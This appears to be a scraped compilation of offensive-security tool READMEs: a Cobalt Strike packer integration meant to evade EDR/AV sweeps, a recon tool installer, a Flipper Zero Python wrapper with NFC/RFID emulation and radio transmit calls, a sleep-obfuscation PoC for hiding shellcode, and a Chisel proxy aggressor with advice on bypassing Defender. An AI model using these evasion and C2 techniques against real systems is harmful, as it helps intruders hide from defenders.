The idea is to have an automated process of protecting all of the uploaded binaries or .NET assemblies used by execute-assembly and forget about protecting or obfuscating them manually before each usage. The added benefit of an automated approach to transform executables is the ability to have the same executable protected each time it's used, resulting in unique samples launched on target machines. That should nicely deceive EDR/AV enterprise-wide IOC sweeps while looking for the same artefact on different machines.

Additionally, the protected-execute-assembly command has the ability to look for assemblies of which only name were given in a preconfigured assemblies directory (set in dotnet_assemblies_directory setting).

To use it:

  1. Load CobaltStrike/ProtectMyTooling.cna in your Cobalt Strike.
  2. Go to the menu and setup all the options

  1. Then in your Beacon's console you'll have following commands available:
  • protected-execute-assembly - Executes a local, previously protected and compressed .NET program in-memory on target.
  • protected-upload - Takes an input file, protects it if its PE executable and then uploads that file to specified remote location.

Basically these commands will open input files, pass the firstly to the CobaltStrike/cobaltProtectMyTooling.py script, which in turn calls out to ProtectMyTooling.py. As soon as the binary gets obfuscated, it will be passed to your beacon for execution/uploading.

Cobalt Strike related Options

Here's a list of options required by the Cobalt Strike integrator:

  • python3_interpreter_path - Specify a path to Python3 interpreter executable
  • protect_my_tooling_dir - Specify a path to ProtectMyTooling main directory
  • protect_my_tooling_config - Specify a path to ProtectMyTooling configuration file with various packers options
  • dotnet_assemblies_directory - Specify local path .NET assemblies should be looked for if not found by execute-assembly
  • cache_protected_executables - Enable to cache already protected executables and reuse them when needed
  • protected_executables_cache_dir - Specify a path to a directory that should store cached protected executables
  • default_exe_x86_packers_chain - Native x86 EXE executables protectors/packers chain
  • default_exe_x64_packers_chain - Native x64 EXE executables protectors/packers chain
  • default_dll_x86_packers_chain - Native x86 DLL executables protectors/packers chain
  • default_dll_x64_packers_chain - Native x64 DLL executables protectors/packers chain
  • default_dotnet_packers_chain - .NET executables protectors/packers chain

Known Issues

  • ScareCrow is very tricky to run from Windows. What worked for me is following:
    1. Run on Windows 10 and have WSL installed (bash.exe command available in Windows)
    2. Have golang installed in WSL at version 1.16+ (tested on 1.18)
    3. Make sure to have PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True set

Credits due & used technology

  • All packer, obfuscator, converter, loader credits goes to their authors. This tool is merely a wrapper around their technology!

    • Hopefully none of them mind me adding such wrappers. Should there be concerns - please reach out to me.
  • ProtectMyTooling also uses denim.exe by moloch-- by some Nim-based packers.


TODO

  • Write custom PE injector and offer it as a "protector"
  • Add watermarking to other file formats such as Office documents, WSH scripts (VBS, JS, HTA) and containers
  • Add support for a few other Packers/Loaders/Generators in upcoming future:

Disclaimer

Use of this tool as well as any other projects I'm author of for illegal purposes, unsolicited hacking, cyber-espionage is strictly prohibited. This and other tools I distribute help professional Penetration Testers, Security Consultants, Security Engineers and other security personnel in improving their customer networks cyber-defence capabilities.
In no event shall the authors or copyright holders be liable for any claim, damages or other liability arising from illegal use of this software.

If there are concerns, copyright issues, threats posed by this software or other inquiries - I am open to collaborate in responsibly addressing them.

The tool exposes handy interface for using mostly open-source or commercially available packers/protectors/obfuscation software, therefore not introducing any immediately new threats to the cyber-security landscape as is.


β˜•Show Supportβ˜•

This and other projects are outcome of sleepless nights and plenty of hard work. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee (or better a beer) just to say thank you!

ο’ͺ

Author

   Mariusz Banach / mgeeky, '20-'22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)


Arsenal - Recon Tool installer



Arsenal is a Simple shell script (Bash) used to install the most important tools and requirements for your environment and save time in installing all these tools.


Tools in Arsenal

Name description
Amass The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques
ffuf A fast web fuzzer written in Go
dnsX Fast and multi-purpose DNS toolkit allow to run multiple DNS queries
meg meg is a tool for fetching lots of URLs but still being 'nice' to servers
gf A wrapper around grep to avoid typing common patterns
XnLinkFinder This is a tool used to discover endpoints crawling a target
httpX httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads
Gobuster Gobuster is a tool used to brute-force (DNS,Open Amazon S3 buckets,Web Content)
Nuclei Nuclei tool is Golang Language-based tool used to send requests across multiple targets based on nuclei templates leading to zero false positive or irrelevant results and provides fast scanning on various host
Subfinder Subfinder is a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources. It has a simple modular architecture and is optimized for speed. subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well
Naabu Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT scans on the host/list of hosts and lists all ports that return a reply
assetfinder Find domains and subdomains potentially related to a given domain
httprobe Take a list of domains and probe for working http and https servers
knockpy Knockpy is a python3 tool designed to quickly enumerate subdomains on a target domain through dictionary attack
waybackurl fetch known URLs from the Wayback Machine for *.domain and output them on stdout
Logsensor A Powerful Sensor Tool to discover login panels, and POST Form SQLi Scanning
Subzy Subdomain takeover tool which works based on matching response fingerprints from can-i-take-over-xyz
Xss-strike Advanced XSS Detection Suite
Altdns Subdomain discovery through alterations and permutations
Nosqlmap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database
ParamSpider Parameter miner for humans
GoSpider GoSpider - Fast web spider written in Go
eyewitness EyeWitness is a Python tool written by @CptJesus and @christruncer. It’s goal is to help you efficiently assess what assets of your target to look into first.
CRLFuzz A fast tool to scan CRLF vulnerability written in Go
DontGO403 dontgo403 is a tool to bypass 40X errors
Chameleon Chameleon provides better content discovery by using wappalyzer's set of technology fingerprints alongside custom wordlists tailored to each detected technologies
uncover uncover is a go wrapper using APIs of well known search engines to quickly discover exposed hosts on the internet. It is built with automation in mind, so you can query it and utilize the results with your current pipeline tools
wpscan WordPress Security Scanner

Requirements in Arsenal

  • Python3
  • Git
  • Ruby
  • Wget
  • GO-Lang
  • Rust:fast:

Go-lang installation

 sudo apt-get remove -y golang-go
sudo rm -rf /usr/local/go
wget https://go.dev/dl/go1.19.1.linux-amd64.tar.gz
sudo tar -xvf go1.19.1.linux-amd64.tar.gz
sudo mv go /usr/local
nano /etc/profile or .profile
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin
export PATH=$PATH:$GOPATH/bin
source /etc/profile #to update you shell dont worry

How to install

git clone https://github.com/Micro0x00/Arsenal.git
cd Arsenal
sudo chmod +x Arsenal.sh
sudo ./Arsenal.sh




pyFlipper - Unoffical Flipper Zero Cli Wrapper Written In Python


Unoffical Flipper Zero cli wrapper written in Python

Functions and characteristics:

  • Flipper serial CLI wrapper
  • Websocket client interface

Setup instructions:

$ git clone https://github.com/wh00hw/pyFlipper.git
$ cd pyFlipper
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install -r requirements.txt

Tested on:

  • Python 3.8.10 on Linux 5.4.0 x86_64
  • Python 3.10.5 on Android 12 (Termux + OTGSerial2WebSocket NO ROOT REQUIRED)

Usage/Examples

Connection

from pyflipper import PyFlipper

#Local serial port
flipper = PyFlipper(com="/dev/ttyACM0")

#OR

#Remote serial2websocket server
flipper = PyFlipper(ws="ws://192.168.1.5:1337")

Power

#Info
info = flipper.power.info()

#Poweroff
flipper.power.off()

#Reboot
flipper.power.reboot()

#Reboot in DFU mode
flipper.power.reboot2dfu()

Update/Backup

#Install update from .fuf file
flipper.update.install(fuf_file="/ext/update.fuf")

#Backup Flipper to .tar file
flipper.update.backup(dest_tar_file="/ext/backup.tar")

#Restore Flipper from backup .tar file
flipper.update.restore(bak_tar_file="/ext/backup.tar")

Loader

#List installed apps
apps = flipper.loader.list()

#Open app
flipper.loader.open(app_name="Clock")

Flipper Info

bluetooth info bt_info = flipper.bt.info()">
#Get flipper date
date = flipper.date.date()

#Get flipper timestamp
timestamp = flipper.date.timestamp()

#Get the processes dict list
ps = flipper.ps.list()

#Get device info dict
device_info = flipper.device_info.info()

#Get heap info dict
heap = flipper.free.info()

#Get free_blocks string
free_blocks = flipper.free.blocks()

#Get bluetooth info
bt_info = flipper.bt.info()

Storage

Filesystem Info

#Get the storage filesystem info
ext_info = flipper.storage.info(fs="/ext")

Explorer

#Get the storage /ext dict
ext_list = flipper.storage.list(path="/ext")

#Get the storage /ext tree dict
ext_tree = flipper.storage.tree(path="/ext")

#Get file info
file_info = flipper.storage.stat(file="/ext/foo/bar.txt")

#Make directory
flipper.storage.mkdir(new_dir="/ext/foo")

Files

generator on the Internet. It uses a dictionary of over 200 Latin words, combined with a handful of model sentence structures, to generate Lorem Ipsum which looks reasonable. The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc. """ flipper.storage.write.send(text_two) time.sleep(3) #Don't forget to stop flipper.storage.write.stop()">
#Read file
plain_text = flipper.storage.read(file="/ext/foo/bar.txt")

#Remove file
flipper.storage.remove(file="/ext/foo/bar.txt")

#Copy file
flipper.storage.copy(src="/ext/foo/source.txt", dest="/ext/bar/destination.txt")

#Rename file
flipper.storage.rename(file="/ext/foo/bar.txt", new_file="/ext/foo/rab.txt")

#MD5 Hash file
md5_hash = flipper.storage.md5(file="/ext/foo/bar.txt")

#Write file in one chunk
file = "/ext/bar.txt"

text = """There are many variations of passages of Lorem Ipsum available,
but the majority have suffered alteration in some form, by injected humour,
or randomised words which don't look even slightly believable.
If you are going to use a passage of Lorem Ipsum,
you need to be sure there isn't anything embarrassing hidden in the middle of text.
"""

flipper.storage.write.file(file, text)

#Write file using a listener
file = "/ext/foo.txt"

text_one = """There are many variations of passages of Lorem Ipsum available,
but the majority have suffered alteration in some form, by injected humour,
or randomised words which don't look even slightly believable.
If you are going to use a passage of Lorem Ipsum,
you need to be sure there isn't anything embarrassing hidden in the middle of text.
"""

flipper.storage.write.start(file)

time.sleep(2)

flipper.storage.write.send(text_one)

text_two = """All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks as
necessary, making this the first true generator on the Internet.
It uses a dictionary of over 200 Latin words, combined with a handful of
model sentence structures, to generate Lorem Ipsum which looks reasonable.
The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc.
"""
flipper.storage.write.send(text_two)

time.sleep(3)

#Don't forget to stop
flipper.storage.write.stop()

LED/Backlight

#Set generic led on (r,b,g,bl)
flipper.led.set(led='r', value=255)

#Set blue led off
flipper.led.blue(value=0)

#Set green led value
flipper.led.green(value=175)

#Set backlight on
flipper.led.backlight_on()

#Set backlight off
flipper.led.backlight_off()

#Turn off led
flipper.led.off()

Vibro

#Set vibro True or False
flipper.vibro.set(True)

#Set vibro on
flipper.vibro.on()

#Set vibro off
flipper.vibro.off()

GPIO

#Set gpio mode: 0 - input, 1 - output
flipper.gpio.mode(pin_name=PIN_NAME, value=1)

#Read gpio pin value
flipper.gpio.read(pin_name=PIN_NAME)

#Set gpio pin value
flipper.gpio.mode(pin_name=PIN_NAME, value=1)

MusicPlayer

#Play song in RTTTL format
rttl_song = "Littleroot Town - Pokemon:d=4,o=5,b=100:8c5,8f5,8g5,4a5,8p,8g5,8a5,8g5,8a5,8a#5,8p,4c6,8d6,8a5,8g5,8a5,8c#6,4d6,4e6,4d6,8a5,8g5,8f5,8e5,8f5,8a5,4d6,8d5,8e5,2f5,8c6,8a#5,8a#5,8a5,2f5,8d6,8a5,8a5,8g5,2f5,8p,8f5,8d5,8f5,8e5,4e5,8f5,8g5"

#Play in loop
flipper.music_player.play(rtttl_code=rttl_song)

#Stop loop
flipper.music_player.stop()

#Play for 20 seconds
flipper.music_player.play(rtttl_code=rttl_song, duration=20)

#Beep
flipper.music_player.beep()

#Beep for 5 seconds
flipper.music_player.beep(duration=5)

NFC

#Synchronous default timeout 5 seconds

#Detect NFC
nfc_detected = flipper.nfc.detect()

#Emulate NFC
flipper.nfc.emulate()

#Activate field
flipper.nfc.field()

RFID

#Synchronous default timeout 5 seconds

#Read RFID
rfid = flipper.rfid.read()

SubGhz

#Transmit hex_key N times(default count = 10)
flipper.subghz.tx(hex_key="DEADBEEF", frequency=433920000, count=5)

#Decode raw .sub file
decoded = flipper.subghz.decode_raw(sub_file="/ext/subghz/foo.sub")

Infrared

#Transmit hex_address and hex_command selecting a protocol
flipper.ir.tx(protocol="Samsung32", hex_address="C000FFEE", hex_command="DEADBEEF")

#Raw Transmit samples
flipper.ir.tx_raw(frequency=38000, duty_cycle=0.33, samples=[1337, 8888, 3000, 5555])

#Synchronous default timeout 5 seconds
#Receive tx
r = flipper.ir.rx(timeout=10)

IKEY

#Read (default timeout 5 seconds)
ikey = flipper.ikey.read()

#Write (default timeout 5 seconds)
ikey = flipper.ikey.write(key_type="Dallas", key_data="DEADBEEFCOOOFFEE")

#Emulate (default timeout 5 seconds)
flipper.ikey.emulate(key_type="Dallas", key_data="DEADBEEFCOOOFFEE")

Log

#Attach event logger (default timeout 10 seconds)
logs = flipper.log.attach()

Debug

#Activate debug mode
flipper.debug.on()

#Deactivate debug mode
flipper.debug.off()

Onewire

#Search
response = flipper.onewire.search()

I2C

#Get
response = flipper.i2c.get()

Input

#Input dump
dump = flipper.input.dump()

#Send input
flipper.input.send("up", "press")

Optimizations

Feel free to contribute in any way

  • Queue Thread orchestrator (check dev branch)
  • Implement all the cli functions
  • Async SubGhz Chat (check dev branch)

License

MIT

Buy me a pint

ZEC: zs13zdde4mu5rj5yjm2kt6al5yxz2qjjjgxau9zaxs6np9ldxj65cepfyw55qvfp9v8cvd725f7tz7

ETH: 0xef3cF1Eb85382EdEEE10A2df2b348866a35C6A54

BTC: 15umRZXBzgUacwLVgpLPoa2gv7MyoTrKat

Contacts

  • Discord: white_rabbit#4124
  • Twitter: @nic_whr
  • GPG: 0x94EDEADC


DeathSleep - A PoC Implementation For An Evasion Technique To Terminate The Current Thread And Restore It Before Resuming Execution, While Implementing Page Protection Changes During No Execution


A PoC implementation for an evasion technique to terminate the current thread and restore it before resuming execution, while implementing page protection changes during no execution.


Intro

Sleep and obfuscation methods are well known in the maldev community, with different implementations, they have the objective of hiding from memory scanners while sleeping, usually changing page protections and even adding cool features like encrypting the shellcode, but there is another important point to hide our shellcode, and is hiding the current execution thread. Spoofing the stack is cool, but after thinking a little about it I thought that there is no need to spoof the stack… if there is no stack :)

The usability of this technique is left to the reader to assess, but in any case, I think it is a cool way to review some topics, and learn some maldev for those who, like me, are starting in this world.

The main implementation showed here holds everything that we need to take out of the stack in the data section, as global variables, but an impletementation moving everything to the heap will be published soon. It aims to show some key modifications that needs to be done to make this code pic and injectable.

This repository is mirrored between GitHub and GitLab.



Chisel-Strike - A .NET XOR Encrypted Cobalt Strike Aggressor Implementation For Chisel To Utilize Faster Proxy And Advanced Socks5 Capabilities


A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.


Why write this?

In my experience I found socks4/socks4a proxies quite slow in comparison to its socks5 counterparts and a lack of implementation of socks5 in most C2 frameworks. There is a C# wrapper around the go version of chisel called SharpChisel. This wrapper has a few issues and isn't maintained to the latest version of chisel. It didn’t allow using shellcode with donut, reflectio n methods or execute-assembly. I found a fix for this using the SharpChisel-NG project.

Since the SharpChisel assembly is around 16.7 MB, execute-assembly(has a hidden size limitation of 1 MB) and similar in memory methods wouldn’t work. To maintain most of the execution in memory I incorporated the NetLoader project by Flangvik which is executed via execute-assembly to reflectively host and load a XOR encrypted version of SharpChisel with base64 arguments in memory.

As an alternative, it is also possible to implement similar C# proxies like SharpSocks by replacing the appropriate chisel binaries in the project.

Setup

Note: If using a Windows teamserver skip steps 2 and 3.

  1. Clone/download the repository: git clone https://github.com/m3rcer/Chisel-Strike.git

  2. Make all binaries executable:

  • cd Chisel-Strike

  • chmod +x -R chisel-modules

  • chmod +x -R tools

  1. Install Mingw-w64 and mono:
  • sudo apt-get install mingw-w64

  • sudo apt install mono-complete

  1. Import ChiselStrike.cna in cobalt strike using the Script Manager

Recompile binaries from the src folder if needed.

Usage

chisel can be executed on both the teamserver (windows/linux) and the beacon. With either acting as the server/client. A normal execution flow would be to setup a chisel server on the teamserver and create a client on the beacon connecting back to the teamserver.

Commands

  1. chisel <client/server> <command>: Run Chisel on a beacon

  2. chisel-tms <client/server> <command>: Run Chisel on your teamserver

  3. chisel-enc: XOR Encrypt SharpChisel.exe with a password of choice

  4. chisel-jobs: List active chisel jobs on the teamserver and beacon

  5. chisel-kill: Kill active chisel jobs on a beacon

  6. chisel-tms-kill: Kill active chisel jobs on teamserver

Example

OPSEC

NetLoader can easily be obfuscated and used to bypass defender using projects like NimCrypt2 and the like.

Yet SharpChisel.exe drops a dll on disk due to the use of Costura/Fody packages at a location similar to: C:\Users\m3rcer\AppData\Local\Temp\Costura\CB9433C24E75EC539BF34CD1AA12B236\64\main.dll which is detected by defender. It is advised to obfuscate chisel dll's using projects like gobfuscate in the SharpChisel-NG project and re-build new SharpChisel-NG binaries as shown here.

TODO

  • Figure a way to avoid SharpChisel dropping main.dll on disk / Create a new C# wrapper for chisel.

  • Create a method to parse command output for the chisel-tms command.

Credits



❌